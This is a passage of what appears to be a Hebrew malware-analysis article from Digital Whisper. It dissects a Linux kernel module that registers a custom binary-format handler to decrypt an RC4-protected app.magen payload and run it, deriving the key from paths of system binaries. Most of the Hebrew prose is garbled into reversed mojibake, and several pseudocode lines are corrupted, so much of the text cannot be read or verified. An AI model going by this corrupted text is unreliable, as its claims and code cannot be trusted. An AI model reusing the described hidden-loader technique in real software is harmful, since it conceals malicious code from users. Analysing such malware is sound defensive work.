˷ ˥˧ˮˮ-ƭƻŀŘŜǊψƛƴƛǘ    ˦ˮˬˠ˯˟ ˞˴ˬˮ ˞ˣˢ ˧˩ ˢ˶˧˟˯ ˢ˥ˮˢ) ˶˟˧˧˶ˡˢ ˸ˮ˧˰˦˟ ˞˶˵ˮ.ƛƴƛǘ.ǘŜȄǘ  ˶˧ˡˠˬˢ ,

ˢ ˶˥˞˪ ˫ˢ˪˷ ˭ˣ˶˩˧ˤˢ ˸˞ ˶˶˥˷˪ ˭˸˧ˮ˷ ˸ˣ˧˴˵ˮˣ˲-ƛƴƛǘˣ ,(-ƭƻŀŘŜǊψŎƭŜŀƴ   .˶˟˧˧˶ˡˢ ˶ˣ˶˥˷˟ ˞˶˵ˮ  

 ˪˷ ˢ˵˧ˠˣ˪ˢƭƻŀŘŜǊψƛƴƛǘ : 

 

 ˪  ˢ˞˧˶˵ ˸ˬ˧˧˵-ψǊŜƎƛǎǘŜǊψōƛƴŦƳǘ  π    ˫ˣ˷˶˪ ˸˶˷˲˞ˬ˷ ˢ˧˴˵ˮˣ˲ ˣˤƘŀƴŘƭŜǊ    .˷ˡ˥ ˢ˴˶ˢ ˦ˬ˶ˣ˲˪

 ˪˷ ˦ˬ˶ˣ˲ˢ ˢ˞˶ˮ˩ ˢˤ ,ˣˮ˪˷ ˢ˶˵ˬ˟ŀǇǇ.ƳŀƎŜƴ . 

  ˯ˣ˲˧˦ˬ ˢˮ˸˷ˬ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢǎǘǊǳŎǘ ƭƛƴǳȄψōƛƴŦƳǘ    ˸ˣ˧ˢ˪ ˪ˣ˩˧˷ ˶˲˯ˬˣл   ˣ˞м  ˭˧˧ˮ˰ˬ ˞˪ ˞ˣˢ ˰ˠ˶˩ˣ ,

 ˟  ˶ˡˠˣˬ ˵ˣ˧ˡ˟ ˢˬ ˸˰ˡ˪ ˢ˴˶ˮ .ˣˮ˸ˣ˞-{ǘǊǳŎǘ    ˳˟ˣ˵ ˶˧ˡˠˮ ˤ˞ ,ˢˤˢ.Ƙ    ˪˧˩˧˷  ˸ˣ˶ˡˠˢˢ ˪˩ ˸˞ǎǘǊǳŎǘπ  ˫˧

˪ ˣ˸ˣ˞ ˭˰˦ˮˣ ,˭ˢ˟ ˪˵˸˧ˮ˷-L5!  ˸ˣ˰˴ˬ˞˟/ǘǊƭ-Cф : 

struct  linux_binfmt {  

    struct  list_head lh ;  

    struct  module * module ;  

    int  (* load_binary )( struct  linux_binprm *);  

    int  (* load_shlib )( struct  file *);  

    int  (* core_dump )( struct  coredump_params * cprm );  

    unsigned  long  min_coredump ;  /* minimal dump size */  

};  

ˢ ˸˞ ˭ˣ˰˦˪ ˢ˯ˮˮ ˫˞-ǎǘǊǳŎǘ    ˧˩ ,ˢ˞˧ˠ˷˟ ˪˵˸˧ˮ ˶ˡˠˣˬ ˞ˣˢ˷ ˣˬ˩ ˵ˣ˧ˡ˟L5!    ˫˧˯ˣ˲˧˦ˢ ˪˩ ˸˞ ˢ˶˧˩ˬ ˞˪

ˢ˷-ǎǘǊǳŎǘ  ,˞ˬˠˣˡ˪) ˫ˢ˟ ˷ˬ˸˷ˬǎǘǊǳŎǘ ƭƛǎǘψƘŜŀŘ .( 

 ,˞ˬˠˣˡ˪) ˫˧˞˸ˬ ˪ˡˣˠ˟ ˶˥˞ ˶˩ˣˬ ˯ˣ˲˧˦˟ ˫˧˶˩ˣˬ ˞˪ˢ ˫˧˯ˣ˲˧˦ˢ ˸˞ ˱˧˪˥ˢ˪˟ ˵˲˸˯ˮ ˰ˠ˶˩ǾƻƛŘ*   ˶ˣ˟˰

.˨˩˟ ˨˶ˣ˴ ˢ˞˶ˮ ˫˞ ˶˟˧˞ˢ ˪˷ ˧˸˧ˬ˞ˢ ˯ˣ˲˧˦ˢ ˸˞ ˶˧ˡˠˮˣ ,(˫˧˰˧˟˴ˬ    ˸˞ ˸˧˲˧˴˲˯ǎǘǊǳŎǘ ƭƛǎǘψƘŜŀŘ   ˭ ˩  

  ˰˧˟˴ˬ ˞˪ ˞ˣˢˣ ˸˧˯˥˧ ˦ˣ˷˲ ˯ˣ˲˧˦ ˢˤ ˧˩ ,˶˧ˡˠˮπ  ˢ ˪˷ ˪ˡˣˠˢ ˤ˞-ǎǘǊǳŎǘ   x ˢ ˣˬ˴˰  ˨ˣ˸˪ ˯ˮ˩ˮ˷ ˢˬ ˞

ƭƛƴǳȄψōƛƴŦƳǘ .˭ˣ˩ˮˢ ˪ˡˣˠˢ ˸˞ ˸˰ˡ˪ ˪˩ˣˮ ˞˪ ˸˧˸˧ˬ˞ˢ ˢ˶ˡˠˢˢ ˧˪˟ˣ , 
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 :˫˧˯ˣ˲˧˦ˢ ˧ˣˮ˧˷ ˶˥˞˪ 

struct  list_head {  

    struct  list_head * next ,  * prev ;  

};  

struct  linux_binfmt {  

    struct  list_head lh ;  

    void *  module ;  

    int  (* load_binary )( void *  linux_binprm );  

    int  (* load_shlib )( void *  file );  

    int  (* core_dump )( void *  cprm );  

    unsigned  long  min_coredump ;  /* minimal dump size */  

}  

 ˸˞ ˫ˠ ˶˧ˡˠˮƳŀƎŜƴψŦƳǘ  ) ˫˧˞˸ˬˢ ˯ˣ˲˧˦˟ƭƛƴǳȄψōƛƴŦƳǘ :˸ˣ˶ˡˠˣˬ ˸ˣ˧˴˵ˮˣ˲ ˣ˪˧˞ ˸ˣ˞˶˪ ˪˩ˣˮ ˸˰˩ˣ ,( 

 

  ˞˧ˢ ˸ˮ˧˧ˮ˰ˬˢ ˢ˧˴˵ˮˣ˲ˢ ˤ˞ƭƻŀŘψƳŀƎŜƴψōƛƴŀǊȅ  ˯ˣ˲˧˦ˬ ˢˮ˸˷ˬ ˸˪˟˵ˬ ˞˧ˢˣ ,ǎǘǊǳŎǘ ƭƛƴǳȄψōƛƴǇǊƳ* .  

 s  ˳˟ˣ˵˪ ˢˤˢ ˯ˣ˲˧˦ˢ ˪˷ ˢ˶ˡˠˢˢ ˸˞ ˫ˠ ˱˧˯ˣˮ-Ƙ   ˫˧˯ˣ˲˧˦˪ ˫˧˩˟ˣ˯ˬ ˫˧˯ˣ˲˧˦ ˸˲˪˥ˢ ˶˥˞˪ ,˟ˣ˷ ,ˣˮ˪˷

 .ˢ˶ˡˠˢˢ  ˸˞  ˭ˣ˰˦˪  ˪˩ˣˮ˷  ˸ˮˬ  ˪˰  ˫˧˦ˣ˷˲ ˢ  ˪˷  ˢ˶ˡˠˢ˟  ,˱˯ˣˮ˟-ǎǘǊǳŎǘ    ˫˧˧˵  ˢˤˢІƛŦŘŜŦ    ˪˰

/hbCLDψaa¦) ˣˮ˪˷ ˢ˶ˣ˦˵˦˧˩˶˞˟ ˫˞ˢ ˭˧˟ˢ˪ ˨˶˦˴ˮ .Ȅус s  (-ƛŦŘŜŦ    ˸ˣˡ˷ ˣ˪˧˞ ˸˰ˡ˪ ˧ˡ˩ ,˶ˡˠˣˬ

˪ ˯˧ˮ˩ˢ˪-ǎǘǊǳŎǘ˷ ˸ˣ˞˶˪ ˪˩ˣˮ .-/hbCLDψaa¦ ˩ ˶ˡˠˣˬ ˭˩-¢w¦9  ˳˟ˣ˵˟ƻƴŦƛƎŀǊŎƘκȄусκYŎ . 

  ˢ˧˴˵ˮˣ˲˪ ˶˦ˬ˶˲ˢ ˪˷ ˯ˣ˲˧˦ˢ ˸˞ ˣˮ˪ ˷˧˷˩ ˸˰˩π    ˸˞ ˷ˣ˶˲˪ ˨˧˷ˬˢ˪ ˪˩ˣˮƭƻŀŘψƳŀƎŜƴψōƛƴŀǊȅ . 

 ˪˷ ˢ˶ˡˠˢ˟ ˣˮ˵ˡ˴˷ ˢˮ˰˦ˢ ˸˞ ˸˵ˤ˥ˬ ,ˢ˧˴˵ˮˣ˲˟ ˢˮˣ˷˞˶ˢ ˢ˵˧ˡ˟ˢƭƛƴǳȄψōƛƴǇǊƳ : 

 

  ˸ˤˣ˶˥ˬˢ ˪˰ ˸ˠ˪ˡˬ ˢ˵˧ˡ˟ˢ˷ ˢ˞˶ˮa!D9b    ˸˞˶ˣ˵ ,˳˟ˣ˵ˢ ˸˪˧˥˸˟п    ˸˞ ˫˧ˠ˴˧˧ˬ˷ ˣˮ˧˞˶˷) ˫˧˸˟

˪ ˢˣˣ˷ ˣ˞ ˪ˣˡˠ ˢ˞˶˵ ˞˧ˢ˷ ˪ˡˣˠˢ ˫˞ˣ ,(˳˟ˣ˵ˢ ˪ˡˣˠ-у .˭ˣ˪˷˩ ˯ˣ˦˞˦˯ ˫˰ ˸˶ˤˣ˥ ˢ˧˴˵ˮˣ˲ˢ ,   ˡˣ˵ˢ ˶˞˷

 x ˡˣ˯˲˟) ˨˩ ˢ˞˶ˮ ˢ˧˴˵ˮˣ˲˟- :(ˡˣ˵ 

1. params->p = vm_mmap(0x2000); 

2. kmem = kmalloc(file_size); 

3. build_key(&params-ҔōǳŦώфϐΣ ΧύΤ 

4. code_size = file_size - 9 - uninitialized_var; 

5. kernel_read(params->file, kmem, code_size, uninitialized_var + 9); 

6. stateless_rc4όΧύΤ 

7. code_addr = vm_mmap(code_size); 

8. copy_to_user(code_addr, kmem, code_size); 

9. start_threadόΧΣ ŎƻŘŜψŀŘŘǊΣ ǇŀǊŀƳǎ->p); 

http://www.digitalwhisper.co.il/
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  ˸ˣ˧˴˵ˮˣ˲ˢ ˶˷˞˩ ˸ ˣ˪ˣ˥˩ˢ    ˸ˣ˧˴˵ˮˣ˲ˢˣ ,˶˟˧˧˶ˡˢ ˪˷ ˸ˣ˧˴˵ˮˣ˲ ˭ˢ ˸ ˣ˵ˣ˶˧ˢ    ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˧ˮˣ˴˧˥ ˸ˣ˞˧˶˵ ˭ˢ

  ˸ˣ˧˪ˮ˶˵π    ,˞ˬˠˣˡ˪) ˶˦ˬ˶˲ ˪˩ ˪˷ ˸ˣ˰ˬ˷ˬˢ ˸˞ ˭˧˟ˢ˪ˣ ˭ˢ˪˷ ˢˬ˧˸˥ˢ ˸˞ ˷˲˥˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,˰ˬ˷ˬ

 ˫˧˶˦ˬ˶˲ˢ ˪˷ ˸ˣ˰ˬ˷ˬˢŎƻŘŜψŀŘŘǊ, ŎƻŘŜψǎƛȊŜ ˪ ˸ˣ˞˧˶˵ˢˬ ˸˰˟ˣˮ-ŎƻǇȅψǘƻψǳǎŜǊ   x-ǎǘŀǊǘψǘƘǊŜŀŘ .( 

  ˶ˣ˶˟ ˧ˡ ˢ˞˶ˮ ˡˣ˵ˢ ˣ˧˷˩˰ ˡ˰ ˤ˞ ,˧˧˵ˣ˞π    ˥ˣˮ˰˲˪ ˥˸˲ˬ ˶˴ˣ˧ ,ˡˣ˵ˢ ˶ˣ˟˰ ˭ˣ˶˩˧ˤ ˳˵˪˞ˬ ˶˟˧˧˶ˡˢ

)ōǳƛƭŘψƪŜȅ ) ˡˣ˵ˢ ˸˞ ˥ˮ˰˲ˬ ,(ǎǘŀǘŜƭŜǎǎψǊŎп  ˶˴ˣ˧ ˱ˣ˯˟˪ˣ (¢ƘǊŜŀŘ  .ˣ˶ˣ˟˰   ˣˬ˩ ˸ˣ˪˞˷ ˣ˶˞˷ˮ ˭˧˧ˡ˰ ˨˞-  

 ˟ ˷ˣ˥ˬ ˥˸˲ˬˢ ˨˧˞Κ   ˢˤ ˢˬǳƴƛƴƛǘƛŀƭƛȊŜŘψǾŀǊΚ  ˫ ˧˧˥ˢ ˸ˣ˰ˬ˷ˬ ˢˬ Κ 

˸˥˞˪ ˯ˮ˩˧ˮ ˫˞   ) ˸ˣ˧˴˵ˮˣ˲ˢōǳƛƭŘψƪŜȅ    ˣ˞ǎǘŀǘŜƭŜǎǎψǊŎп  ˭ˢ˟ ˫ˠ˷ ˟˪ ˫˧˷ˮ ,(L5!    ˫˧ˮ˸˷ˬ ˷˧˷ ˸ˮ˰ˣ˦

 :(˫˧ˬˣˡ˞ˢ ˫˧ˮ˸˷ˬˢ) ˫˧˪˥˸ˣ˞ˬ ˫ˮ˧˞˷ 

 

˸˧ˮ˯˥ˬ) ˫˧˞˴ˬˮ ˢ˪˞ˢ ˫˧ˮ˸˷ˬˢ ˭˩˧ˢ ˪˷ ˢ˵˧ˡ˟ ˶˥˞˪ Κ   ˶ ˦˯˧ˠ˶Κ  ˫˧˶˦˯˧ˠ˶˟ ˫˧˞˴ˬˮ ˫ˢ˷ ˢ˞˶ˮ (

w/·  -xw5·  π    ˶˦ˬ˶˲о    ˶˦ˬ˶˲ˣп    ˸˧˧˴ˮ˟ˮˣ˵˟ŦŀǎǘŎŀƭƭ  .˷ ˢ˞˶ˮ˩-L5!    ˪˷ ˢˬ˧˸˥ˢ ˸˞ ˭ˣ˩ˮ ˥˸˧ˮ ˞˪

 .˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ ˢˬ˧˸˥˟ ˫˸ˣ˞ ˱˧˯ˣˮ !˫˧˶˦ˬ˶˲ ˧ˮ˷ ˡˣ˰ ˸˪˟˵ˬ ˫˴˰˟ ˞˧ˢˣ ,ˢ˧˴˵ˮˣ˲ˢ 

  ˨˧˞ ˭˧˟ˢ˪ ˵˶ ˶˸ˣˮōǳƛƭŘψƪŜȅ   x-ǎǘŀǘŜƭŜǎǎψǊŎп   .˫˧ˡ˟ˣ˰   ˶˷˲˞ .˫˧˶˦ˬ˶˲ˢ ˸ˣ˰ˬ˷ˬ ˸˞ ˭˧˟ˢ˪ˬ ˪˧˥˸ˮ

 ˪  ˢ˞˧˶˵ˢ ˪˰ ˸ˣˮˮˣ˟˸ˢˬ ˸˞ˤ ˸ˣ˷˰˪-ōǳƛƭŘψƪŜȅ   x-ǎǘŀǘŜƭŜǎǎψǊŎп  ˫˧˶˦ˬ˶˲ˢ ˪˷ ˷ˣˬ˧˷ˢˣ ˢ˶ˡˠˢˢ ,

 :˫ˢ˪˷ 
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 ˷  ˢ˞˶ˮ-ōǳƛƭŘψƪŜȅ  :˪˟˵ˬ 

1. ˢ  ˪˰  ˠˣ˪˧ˡ  ˧˶˥˞  ,˳˟ˣ˵ˢ  ˸˞  ˪˧˩ˬ˷  ˶˲˞˟˪  ˰˧˟˴ˬ-Headers  )ф    ˫˧˸˟-  MAGEN   (˪ˡˣˠˢˣ 

 s  ˫˧˶˞ˮ˧˟ˢ ˸ˣˤˣ˶˥ˬ ˸˪˧˥˸˪ ˰˧˟˴ˬ ˰˧˟˴ˬˢ-linuxπ  ˸ˣ˞ˢ ˫˰ ˫˧ˡ˶˲ˣˬ˷ ˫˧R . 

2.   ˪ˡˣˠ˟ ˭ˣ˶˩˧ˤ˪ ˰˧˟˴ˬму    ˸˧˧˴˵ˮˣ˲˪ ˶˦ˬ˶˲˩ ˶˟ˣ˰) ˥˸˲ˬˢ ˸˞ ˪˧˩˧˷ ,˫˧˸˟rc4  ˪˷ ˢ˷˧˶˲ˬˣ ,rc4  

 (˥˸˲ˬ˩ ˣ˟ ˫˧˷ˬ˸˷ˬ˷ ˢ˞˶ˮ ,ˢ˧ˡ˲˧˵˧ˣ˟ ˶˞ˣ˸ˬ˷ ˫˸˧˶ˣˠ˪˞˪ ˢ˞ˣˣ˷ˢˣ 

3.  s  ˪˰ ˠˣ˪˧ˡ ˶˥˞˪ ˳˟ˣ˵ˢ ˸˞ ˪˧˩ˬ˷ ˶˲˞˟˟ ˶˞˷ˮ˷ ˪ˡˣˠˢ-Headers 

4. ˷ ˪ˡˣˠˢ ˸˞ ˪˧˩˧˷ ˦˪˲ ˶˦ˬ˶˲-build_key  ˩  ˶˟ˣ˰) ˠ˪ˡ˪ ˷˧ ˣ˧˪˰ˣ ˞˶˵-offset  ˪-kernel_read ( 

  ˸˞ ˸ˣˣ˷ˢ˪ ˫ˠ ˪˩ˣˮǎǘŀǘŜƭŜǎǎψǊŎп    ˸ˮ˲˴ˢ ˪˷ ˫˸˧˶ˣˠ˪˞˪ǊŎп   .˫˧˪ˣ˵˷ ˭˩˞ ˫ˢ˷ ˭˧˟ˮˣ ,ˢ˧ˡ˲˧˵˧ˣ˟ 

 ˪˷ ˫˧˶˦ˬ˶˲ˢǎǘŀǘŜƭŜǎǎψǊŎп  :˫ˢ 

1.  ˧ˡ˧ ˪˰ ˪˥˸ˣ˞ˬ) ˥˸˲ˬ˪ ˰˧˟˴ˬbuild_key ( 

2.  ) ˥˸˲ˬˢ ˪ˡˣˠму  (˫˧˸˟ 

3.  ˥ ˮ˰˲˪ ˷˧˷ ˭ˣ˶˩˧ˤˢ 

4.  ˥ ˮ˰˲˪ ˷˧˷ ˭ˣ˶˩˧ˤˢ ˪ˡˣˠ 

  ˵ˣ˧ˡ˟ ˨˧˞ ˭˧˟ˢ˪ ˵˶ ˶˸ˣˮōǳƛƭŘψƪŜȅ  .˥˸˲ˬˢ ˸˞ ˟˷˥ˬ   ˨ˣ˸˟ōǳƛƭŘψƪŜȅ   s ˧˴˵ˮˣ˲ ˡˣ˰˪ ˢ˞˧˶˵ ˷˧  

  ˫˷˟ ˸˧ˬ˧ˮ˲ǳǇŘŀǘŜψǇŀǘƘ.ˢˮ˟ˢ˪ ˢ˦ˣ˷˲ ˸˧˯˥˧ ˞˧ˢ˷ , :˫˧˶˦ˬ˶˲˩ ˸˪˟˵ˬ ˞˧ˢ    ˶˲˞˟˪ ˰˧˟˴ˬ

 (˥˸˲ˬˢ ˢ˞˶ˮ˩)  ,˳˟ˣ˵ ˫˷  ˦˯˧ˢˣ   ˳ ˟ˣ˵˟  ˞˧ˢ ,  ˣˮˬˬ ˸˞˶ˣ˵ ,˳˟ˣ˵ˢ ˸˞ ˸˥˸ˣ˲му    ˭˸˧ˮ˷ ˦˯˲ˣ˞˟ ˫˧˸˟

  ˫˰ ˫˸ˣ˞ ˸˶˯˵ˬˣ ,ˢ˪му ˧˸˟ˢ (˥˸˲ˬˢ ˞ˣˢ ˭ˣ˷˞˶ˢ ˶˦ˬ˶˲ˢ˷ ˢ˞˶ˮ˩ ,˭˩˪) ˭ˣ˷˞˶ˢ ˶˦ˬ˶˲ˢ ˪˷ ˫ . 
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 ˢˬ ˫˧˰ˡˣ˧ ˣˮ˞˷˩ ˸˰˩ǳǇŘŀǘŜψǇŀǘƘ    ˨˧˞ ˭˧˟ˢ˪ ˪˵ ,ˢ˷ˣ˰ōǳƛƭŘψƪŜȅ   :ˡˣ˵ ˣˡˣ˯˲˟ .˸ˡ˟ˣ˰ 

1. ƪŜȅ Ґ Ψ\ȄллΩ ϝ муΤ 

2. offset = 0x5117 

3. for filename in filenames separated by R, until the letter Z: 

a. update_path(key, filename, offset) 

b. offset += 0x11 

 ˟  ˸ˬ˧˧˵˷ ˢˬ˧˷˶ˢ ˶ˣ˟˰ ˞"ˤ-ŀǇǇ.ƳŀƎŜƴ : 

wκōƛƴκōŀǎƘwκōƛƴκǇƛƴƎwκōƛƴκƎǊŜǇwκǳǎǊκōƛƴκǘŜƭƴŜǘwκǎōƛƴκƛƴƛǘwκǎōƛƴκƛƴǎƳƻŘw½ 

ōǳƛƭŘψƪŜȅ    ˞˶˵˸му    ˦˯˲ˣ˞˟ ˫˧˸˟лȄрммт    ˳˟ˣ˵ˢˬ/ōƛƴκōŀǎƘ   .˥˸˲ˬˢ ˫˰ ˶˯˵˸ˣ    ˞˶˵˸ ,˭˩ˬ ˶˥˞˪

му  ˦˯˲ˣ˞˟ ˫˧˸˟лȄрмну   ˳˟ˣ˵ˢˬκōƛƴκǇƛƴƎ  .˥˸˲ˬˢ ˫˰ ˶˯˵˸ˣ  ˳˟ˣ˵ˢ ˡ˰ ,ˢ˞˪ˢ ˭˩ˣκǎōƛƴκƛƴǎƳƻŘ . 

ˢˬ ˫˧˧˦ˮˣˣ˪˶ˢ ˫˧˶˞ˮ˧˟ˢ ˸˞ ˳˪˥˪ ˪˩ˣˮ-LƳŀƎŜ  ˢ˷ ˢ˵˧ˠˣ˪ˢ ˸˞ ˢ˷ˣ˰˷ ˦˲˧˶˵˯ ˟ˣ˸˩˪ˣ ,ˣˮˡ˶ˣˢ˷-

ƭƻŀŘŜǊ    ˸˞ ˥ˮ˰˲˪ ˸ˮˬ ˪˰ ˢ˷ˣ˰ŀǇǇ.ƳŀƎŜƴ.  ˷  ˣ˞  ...  ˪˟˞ ,ˢ˪˥˸ˢˢˬ ˸ˣˬ˶˪ ˣˮ˪ˣ˩˧ ,˟ˠ˞) !˸ˣˬ˶˪ ˪˩ˣˮ

 ˸˞ ˷ˣ˶˲˪ƭƻŀŘŜǊ   ˧ˡˬ ˱˧˩ ˢ˧ˢJ ( .  ˪˷ ˢ˴˧˶ˢ ˸˞ ˠ˟ˡ˪ ˦ˣ˷˲ ˞ˣˢ ˢ˯ˮˮ˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢŀǇǇ.ƳŀƎŜƴ . 

  ˡˣ˟˰˧ ˞˪ ˢˤπ  .(˦˪˵˪ ˢˮ˧˸ˬˬ˷ ˢˮ˧˵˸ ˢ˴˧˶ ˸ˬˣ˰˪) ˢ˴˧˶ˢ ˸˞ ˸ˬ˧˧˯ˬ ˶˷˧ ˸˧ˮ˩˸ˢ˷ ˢ˞˶ˮ    ˶˷˲˞

 ˫˰ ˢ˸ˣ˞ ˫˧ˠ˟ˡˬ ˫˞ ˸˵ˡˣ˟ ˞˧ˢ˷ ˥˧ˮˢ˪ǇǘǊŀŎŜ(t¢w!/9ψ¢w!/9a9, é)   ˢˤ˷ ˢ˪ˠˮ ˫ˠ ˥ˣˮ˰˲ˢ ˧˶˥˞)

 .(ˢ˷ˣ˰ ˞˧ˢ˷ ˢˬ ˵ˣ˧ˡ˟ 

  ˸ˣ˷˰˪ ˞ˣˢ ,˸˧˸˧ˬ˞ ˸ˣ˞ˬ˶ ˸˞ˤˣ ,˸ˣ˯ˮ˪ ˶˷˲˞˷ ˧ˮ˷ˢ ˶˟ˡˢŘǳƳǇ    ˨˧˪ˢ˸ˢ ˪˷ ˭ˣ˶˩˧ˤ˪-    ˞˪˷ ˢˬ˪ ˧˩

˫˴˰˟ ˪˩ˣˮ Κ ˶˧˟˰ˢ˪ˬ ˪˧˥˸ˮ   ˸ˣ˰˴ˬ˞˟ ˢˮˣ˩ˬ˪ ˫˧˴˟˵ˢ ˸˞Ƴƻǳƴǘ  ˸ˣ˰˴ˬ˞˟ ˣ˞ ,˸˶˥˞ ˢˮˣ˩ˬˬ ˭ˮˣ˩˪ƴŎ 

κ ŎǳǊƭ πǇȅǘƘƻƴ {ƛƳǇƭŜIǘǘǇ{ŜǊǾŜǊ Φ ˢ ˸˞ ˭˧˵˸ˮ ,˭˩ˬ ˶˥˞˪-ƳƻŘǳƭŜ    ˸˞ ˳˧˶ˮ ,ˣˮ˪˟˧˵˷ŀǇǇ.ƳŀƎŜƴ  

  ˸ˣ˞˷˶ˢ˟ ˡ˧˥˧ˢ ˭ˣ˶˩˧ˤˢ ˶ˣˤ˞) ˭˰˦ˮ ˡˣ˵ˢ ˣ˧˪˞ ˸˟ˣ˸˩ˢ ˢˬ ˵ˣˡ˟ˮ ,˰˵˶˟ǊǿȄ  ˳˟ˣ˵˪ ˣ˸ˣ˞ ˳˪˥ˮˣ ,(

 ˸ˣ˰˴ˬ˞˟ŘŘ : 
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˟ ˣ˸ˣ˞ ˥ˣ˸˲˪ ˪˩ˣˮ ,˸˰˩-L5!   ˢ˪ ˞˶˵ˮ˷ ˢ˧˴˵ˮˣ˲˪ ˢ˴˧˲˵˟ ˪˧˥˸ˬ˷ ,˥ˮ˰ˣ˲ˬˢ ˡˣ˵ˢ ˸˞ ˸ˣ˞˶˪ˣƳŀƛƴ : 
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